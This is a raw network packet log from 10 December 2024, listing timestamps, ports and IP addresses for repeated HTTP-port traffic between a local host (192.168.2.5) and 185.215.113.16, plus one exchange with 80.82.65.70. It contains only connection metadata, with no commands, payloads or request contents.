Dec 10, 2024 05:10:46.330806971 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.331528902 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.331583023 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.331693888 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.331796885 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.332417011 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.332529068 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.332556963 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.332601070 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.333343029 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.333405972 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.333440065 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.333470106 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.334187984 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.334234953 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.334265947 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.334297895 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.335100889 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.335182905 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.335201025 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.335241079 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.336144924 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.336157084 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.336182117 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.336205006 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.336827993 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.336903095 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.336922884 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.336963892 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.337704897 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.337762117 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.337800026 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.337851048 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.338634968 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.338665962 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.338700056 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.338715076 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.339454889 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.339512110 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.339549065 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.339602947 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.340332031 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.340401888 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.340409040 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.340645075 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.341202974 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.341273069 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.341331959 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.341413975 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.342128992 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.342174053 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.342223883 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.342266083 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.342986107 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.343029976 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.343147993 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.343200922 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.343866110 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.343916893 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.343966961 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.344013929 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.344769955 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.344834089 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.344868898 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.344908953 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.345627069 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.345691919 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.345721006 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.345853090 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.346554041 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.346565008 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.346612930 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.347366095 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.347424984 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.347482920 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.347523928 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.348257065 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.348304987 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.348390102 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.348458052 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.349163055 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.349214077 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.349273920 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.349402905 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.350034952 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.350079060 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.350111008 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.350151062 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.350904942 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.350951910 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.351017952 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.351057053 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.351762056 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.351823092 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.351942062 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.351983070 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.352689981 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.352749109 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.352754116 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.352791071 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.353559017 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.353601933 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.353638887 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.353811979 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.354424000 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.354475021 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.354511023 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.354568005 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.355317116 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.355452061 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.355479002 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.355492115 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.356201887 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.356256008 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.356292009 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.356333971 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.357101917 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.357166052 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.357214928 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.357961893 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.358062029 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.358087063 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.358087063 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.358802080 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.358927965 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.359112978 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.359716892 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.359778881 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.359807968 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.359848022 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.360588074 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.360635996 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.360683918 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.360747099 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.361491919 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.361536980 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.361541986 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.362171888 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.507968903 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.508061886 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.508071899 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.508110046 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.508404016 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.508433104 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.508477926 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.509242058 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.509319067 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.509412050 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.510096073 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.510149956 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.510371923 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.510420084 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.510448933 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.510567904 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.511244059 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.511287928 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.511290073 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.511384964 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.512136936 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.512192011 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.512216091 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.512264013 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.513025045 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.513156891 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.513941050 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.514102936 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.514125109 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.514820099 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.514930010 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.515682936 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.515779018 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.516534090 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.516669989 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.517467022 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.517597914 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.518326998 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.518461943 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.519185066 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.519288063 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.519326925 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.519361019 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.520064116 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.520136118 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.520162106 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.520243883 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.520929098 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.521037102 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.521123886 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.521820068 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.521929026 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.521981001 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.522718906 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.522778034 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.522804022 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.522877932 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.523624897 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.523695946 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.524466991 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.524482012 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.524578094 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.524578094 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.524743080 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.525391102 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.525446892 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.525480032 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.525619984 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.526247978 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.526354074 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.526417017 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.527111053 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.527160883 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.527220011 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.527271986 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.528069973 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.528115988 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.528120041 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.528280020 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.528906107 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.528968096 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.529021978 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.529755116 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.529827118 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.529884100 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.529926062 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.530723095 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.530771017 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.530776978 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.530869007 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.531528950 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.531582117 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.531678915 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.531727076 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.532432079 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.532483101 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.532510042 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.532552958 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.533286095 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.533401012 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.533459902 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.534177065 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.534226894 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.534239054 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.534353018 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.535052061 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.535109997 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.535134077 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.535581112 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.535875082 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.535932064 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.536012888 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.536076069 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.536780119 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.536830902 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.536906004 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.536951065 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.537662029 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.537720919 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.537755966 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.537805080 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.538599968 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.538665056 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.538697004 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.538794994 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.539431095 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.539493084 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.539525032 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.539573908 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.540326118 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.540390968 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.540436983 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.541312933 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.541327000 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.541376114 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.541404963 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.542120934 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.542191029 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.542198896 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.542238951 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.542984962 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.543005943 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.543044090 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.543065071 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.543853998 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.543917894 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.543956041 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.544250965 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.544740915 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.544790030 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.544794083 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.544840097 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.545620918 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.545667887 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.545763016 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.545859098 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.546478987 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.546538115 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.546608925 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.546732903 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.547354937 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.547435999 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.547487020 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.548295975 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.548353910 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.548355103 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.548389912 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.549094915 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.549187899 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.549221039 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.549315929 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.550014019 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.550085068 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.550133944 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.550899982 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.550960064 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.551008940 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.551131010 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.551758051 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.551815033 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.551845074 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.551913023 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.552639961 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.552839994 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.552896976 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.553842068 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.553915024 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.553987980 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.622414112 CET	80	49881	80.82.65.70	192.168.2.5
Dec 10, 2024 05:10:46.622478008 CET	49881	80	192.168.2.5	80.82.65.70
Dec 10, 2024 05:10:46.700071096 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.700109005 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.700508118 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.700573921 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.700611115 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.700664997 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.701344013 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.701412916 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.701730013 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.702229977 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.702542067 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.702604055 CET	80	49921	185.215.113.16	192.168.2.5
